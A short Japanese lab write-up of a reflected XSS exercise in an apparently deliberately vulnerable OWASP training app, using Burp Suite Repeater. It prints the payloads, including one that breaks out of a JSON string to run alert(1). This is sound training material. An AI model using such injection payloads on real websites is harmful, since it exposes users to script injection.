Hello there, ('ω')ノ
OWASP 2017 ⇨ A7 ⇨ Reflected(First Order) ⇨ Pen Test Tool Lookupを選択して。
まずは動作確認を。
Burp Suiteでパラメータを確認して。
Responseを見るとRequestの値がそのまま渡されているのでXSSが仕込めそうで。
まずは、『Send to Repeater』で確認を。
下記のようにペイロードを組み込んで『Go』ボタンで実行してみると。
そのままResponseに反映された。
<script>alert(1)</script>
これをそのまま実行するとJSONのエラーらしきものが。
再度、丁寧にレスポンスのコードを書き出して。
SQLインジェクションと同じ要領で、JSONを閉じてスクリプトを実行することに。
var gPenTestToolsJSONString = var gPenTestToolsJSONString =
'{
"query": {
"toolIDRequested": "3<script>alert(1)</script>",
"penTestTools": [
{"tool_id":"3<script>alert(1)</script>",
"tool_name":"Skipfish",
"phase_to_use":"Discovery",
"tool_type":"Scanner",
"comment":"Agressive. Fast. Uses wordlists to brute force directories."
}
]
}
}'
⇩ alertの前でJSONを終了させて、alertのあとはコメントに。
var gPenTestToolsJSONString = var gPenTestToolsJSONString =
'{
"query": {
"toolIDRequested": "3"}};alert(1);//",
最後に『;』 ⇨ 『%3B』にエンコードした下記のペイロードを仕込んで。
"}}%3Balert(1)%3B//
なんだか、JSONのエラーで『)』が漏れているようで。
どこに対しての『)』なのか見つけることができなかったので。
とりあえず、JSONを終わらせる『%3B』の前に追加して再度実行すると。
"}})%3Balert(1)%3B//
スクリプトが実行された。
Best regards, (^^ゞ